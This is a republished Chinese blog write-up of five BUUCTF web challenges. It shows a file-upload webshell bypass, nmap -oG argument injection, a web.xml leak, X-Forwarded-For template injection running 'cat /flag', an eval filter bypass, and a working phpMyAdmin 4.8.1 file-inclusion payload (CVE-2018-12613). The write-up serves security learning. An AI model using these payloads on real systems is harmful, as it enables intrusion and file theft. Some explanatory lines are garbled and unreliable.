其他分享
首页 > 其他分享> > BUUCTF web(五)

BUUCTF web(五)

作者:互联网

[GXYCTF2019]BabyUpload

传呗,先传个php一句话
在这里插入图片描述
检测后缀了,大小写也绕不过去
在这里插入图片描述
试了下别的后缀也不大行

抓包康康
在这里插入图片描述
抓包改后缀和content-type倒是能绕过,但是上传的文件依旧是一个jpg而不会被当作php解析
在这里插入图片描述
嘶。。。欸?等等
在这里插入图片描述
那还等啥,传它!
在这里插入图片描述
直接传也是不行的,抓包改下content-type
在这里插入图片描述
之前已经传过马了,连下试试
在这里插入图片描述
芜湖!flag在根路径里

拿来吧你!

在这里插入图片描述
[BUUCTF 2018]Online Tool
在这里插入图片描述

$host = escapeshellarg($host);

$host = escapeshellcmd($host);

这俩函数没见过,百度找找
在这里插入图片描述
在这里插入图片描述
简而言之就是把字符串转换成参数并且过滤放到
在这里插入图片描述
后面执行命令

找到了漏洞解析

在这里插入图片描述
搜索得知nmap命令中有一个参数-oG可以实现将命令和结果写到文件

这是什么?这是一句话木马啊!

payload:

在这里插入图片描述
如果没有单引号,就只是相当于正常使用这两个函数,这所有的东西会被解析成一个字符串交给nmap

空格是因为如果不加空格,经过两个函数之后就会变成
在这里插入图片描述
文件名就变了

因为

在这里插入图片描述
所以传参要用双引号
在这里插入图片描述
蚁剑连上,拿来吧你

在这里插入图片描述

[RoarCTF 2019]Easy Java

WEB-INF/web.xml泄露
在这里插入图片描述
参考这位师傅的https://www.cnblogs.com/karsa/p/13130130.html
在这里插入图片描述这样直接访问会报错

在这里插入图片描述
所以我们用post方式提交请求
在这里插入图片描述
down下来,但是没什么用,那我们也能通过这样的方式访问一下WEB-INF/web.xml
在这里插入图片描述

Servlet程序若想被外界访问,必须把Servlet程序映射到一个URL地址上,这个工作在web.xml文件中使用<servlet>元素和<servlet-mapping>元素完成。
如上,最后的<servlet-name>FlagController表示Servlet的注册名称,<servlet-class>com.wm.ctf.FlagController</servlet-class>表示了完整类名,<servlet-mapping>映射了刚刚注册完毕的Servlet,后面的<url-pattern>/Flag</url-pattern>则指定了访问路径

再贴一下这位师傅的图233

在这里插入图片描述
根据路径构造payload:

?filename=WEB-INF/classes/com/wm/ctf/FlagController.class

在这里插入图片描述
右面的base64解码就好

芜湖~

[BJDCTF2020]The mystery of ip

/flag.php页面发现了ip

在这里插入图片描述
/hint.php页面查看源码发现了提示

在这里插入图片描述
不会是XFF叭,抓包改下试试

在这里插入图片描述确实,猜测这里可能是SSTI,XFF改为{{7*7}}
在这里插入图片描述
flag一般都在根目录下,所以将XFF改为{system('cat /flag')}即可得到flag
在这里插入图片描述

[GXYCTF2019]禁止套娃

上githack,查看index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

get方式传一个exp参,过滤了常用的伪协议

重点在这句话

if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp']))

分析一下正则,大致上就是匹配一个函数,比如a(),然后用null替换,最后剩一个分号;就能成功

正则里有一个?R,这玩意儿是引用当前表达式,后面再加?是递归调用

所以exp的形式要是这种:a(b());

要读取flag.php,首先要扫描目录

scandir()函数可以扫描当前目录下的文件,使用方式为

print_r(scandir('.'));

但是不能有这个点.

所以我们需要一些自带常量的参数

这里有个函数localeconv() 函数返回一包含本地数字及货币格式信息的数组。而数组第一项就是.

而current() 返回数组中的当前单元, 默认取第一个值。

所以current(localeconv())整句话就是个点.

于是我们就可以先看看目录都有啥文件了

print_r(scandir(current(localeconv())));

在这里插入图片描述
好,一共四个,flag在倒数第二个,而且好像连用两个next()不太行

那我们换个想法,先用arrar_reverse(),再next(),最后highlight_file完事

payload:

?exp=highlight_file(next(array_reverse(scandir(current(localeconv())))));

拿来吧你!
在这里插入图片描述

[GWCTF 2019]我有一个数据库

在这里插入图片描述
啥都没有,dirsearch扫一下
在这里插入图片描述
芜湖,有个后台
在这里插入图片描述
找了一圈发现里面屁也没有

看看有什么版本洞

在这里插入图片描述
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) (参考:https://www.cnblogs.com/leixiao-/p/10265150.html)

这个漏洞出现在index.php中的

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

绕过这几层过滤就会有一个文件包含可以利用

123层很好绕,不为空、是字符串、没有index就行

第四层要绕过一个黑名单

$target_blacklist = array (
    'import.php', 'export.php'
);

不多,就俩也好绕

康康第五层

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

w h i t e l i s t 一 开 始 未 传 参 过 来 , 所 以 会 被 赋 值 为 s e l f : : whitelist一开始未传参过来,所以会被赋值为self:: whitelist一开始未传参过来,所以会被赋值为self::goto_whitelist

p a g e 是 取 出 _page是取出 p​age是取出page问号前的东西,是考虑到target有参数的情况,只要$_page在白名单中就直接return true
但还考虑了url编码的情况,所以如果这步判断未成功,下一步又进行url解码

所以传入二次编码后的内容,会让checkPageValidity()这个函数返回true,但index中实际包含的内容却不是白名单中的文件
例如传入
?target=db_datadict.php%253f
由于服务器会自动解码一次,所以在checkPageValidity()中, p a g e 的 值 一 开 始 会 是 ‘ d b d a t a d i c t . p h p 但 在 i n d e x . p h p 中 page的值一开始会是`db_datadict.php%3f`,又一次url解码后变成了`db_datadict.php?`,这次便符合了?前内容在白名单的要求,函数返回true 但在index.php中 page的值一开始会是‘dbd​atadict.php但在index.php中_REQUEST[‘target’]仍然是db_datadict.php%3f,而且会被include,通过目录穿越,就可造成任意文件包含

payload:如上所说,两次url编码绕过

?target=db_datadict.php%253F../../../../../../flag

拿来吧你
在这里插入图片描述

标签:web,BUUCTF,target,whitelist,flag,exp,php,page
来源: https://blog.csdn.net/m0_46616663/article/details/121457616